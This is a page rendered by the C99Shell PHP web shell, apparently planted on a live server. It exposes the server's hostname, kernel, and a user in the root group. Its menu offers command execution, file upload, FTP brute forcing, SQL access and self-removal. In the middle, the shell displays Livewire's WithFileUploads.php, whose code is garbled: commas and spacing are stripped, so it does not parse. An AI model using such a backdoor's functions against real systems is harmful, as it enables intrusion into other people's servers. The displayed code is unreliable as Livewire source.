!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/livewire/livewire/src/   drwxr-xr-x
Free 29.11 GB of 117.98 GB (24.68%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     WithFileUploads.php (4.21 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Livewire;

use 
Illuminate\Http\UploadedFile;
use 
Facades\Livewire\GenerateSignedUploadUrl;
use 
Illuminate\Validation\ValidationException;
use 
Livewire\Exceptions\S3DoesntSupportMultipleFileUploads;

trait 
WithFileUploads
{
    public function 
startUpload($name$fileInfo$isMultiple)
    {
        if (
FileUploadConfiguration::isUsingS3()) {
            
throw_if($isMultipleS3DoesntSupportMultipleFileUploads::class);

            
$file UploadedFile::fake()->create($fileInfo[0]['name'], $fileInfo[0]['size'] / 1024$fileInfo[0]['type']);

            
$this->emit('upload:generatedSignedUrlForS3'$nameGenerateSignedUploadUrl::forS3($file))->self();

            return;
        }

        
$this->emit('upload:generatedSignedUrl'$nameGenerateSignedUploadUrl::forLocal())->self();
    }

    public function 
finishUpload($name$tmpPath$isMultiple)
    {
        
$this->cleanupOldUploads();

        if (
$isMultiple) {
            
$file collect($tmpPath)->map(function ($i) {
                return 
TemporaryUploadedFile::createFromLivewire($i);
            })->
toArray();
            
$this->emit('upload:finished'$namecollect($file)->map->getFilename()->toArray())->self();
        } else {
            
$file TemporaryUploadedFile::createFromLivewire($tmpPath[0]);
            
$this->emit('upload:finished'$name, [$file->getFilename()])->self();

            
// If the property is an array, but the upload ISNT set to "multiple"
            // then APPEND the upload to the array, rather than replacing it.
            
if (is_array($value $this->getPropertyValue($name))) {
                
$file array_merge($value, [$file]);
            }
        }

        
$this->syncInput($name$file);
    }

    public function 
uploadErrored($name$errorsInJson$isMultiple) {
        
$this->emit('upload:errored'$name)->self();

        if (
is_null($errorsInJson)) {
            
// Handle any translations/custom names
            
$translator app()->make('translator');

            
$attribute $translator->get("validation.attributes.{$name}");
            if (
$attribute === "validation.attributes.{$name}"$attribute $name;

            
$message trans('validation.uploaded', ['attribute' => $attribute]);
            if (
$message === 'validation.uploaded'$message "The {$name} failed to upload.";

            throw 
ValidationException::withMessages([$name => $message]);
        }

        
$errorsInJson $isMultiple
            
str_ireplace('files'$name$errorsInJson)
            : 
str_ireplace('files.0'$name$errorsInJson);

        
$errors json_decode($errorsInJsontrue)['errors'];

        throw (
ValidationException::withMessages($errors));
    }

    public function 
removeUpload($name$tmpFilename)
    {
        
$uploads $this->getPropertyValue($name);

        if (
is_array($uploads) && isset($uploads[0]) && $uploads[0] instanceof TemporaryUploadedFile) {
            
$this->emit('upload:removed'$name$tmpFilename)->self();

            
$this->syncInput($namearray_values(array_filter($uploads, function ($upload) use ($tmpFilename) {
                if (
$upload->getFilename() === $tmpFilename) {
                    
$upload->delete();
                    return 
false;
                }

                return 
true;
            })));
        } elseif (
$uploads instanceof TemporaryUploadedFile && $uploads->getFilename() === $tmpFilename) {
            
$uploads->delete();

            
$this->emit('upload:removed'$name$tmpFilename)->self();

            
$this->syncInput($namenull);
        }
    }

    protected function 
cleanupOldUploads()
    {
        if (
FileUploadConfiguration::isUsingS3()) return;

        
$storage FileUploadConfiguration::storage();

        foreach (
$storage->allFiles(FileUploadConfiguration::path()) as $filePathname) {
            
// On busy websites, this cleanup code can run in multiple threads causing part of the output
            // of allFiles() to have already been deleted by another thread.
            
if (! $storage->exists($filePathname)) continue;

            
$yesterdaysStamp now()->subDay()->timestamp;
            if (
$yesterdaysStamp $storage->lastModified($filePathname)) {
                
$storage->delete($filePathname);
            }
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--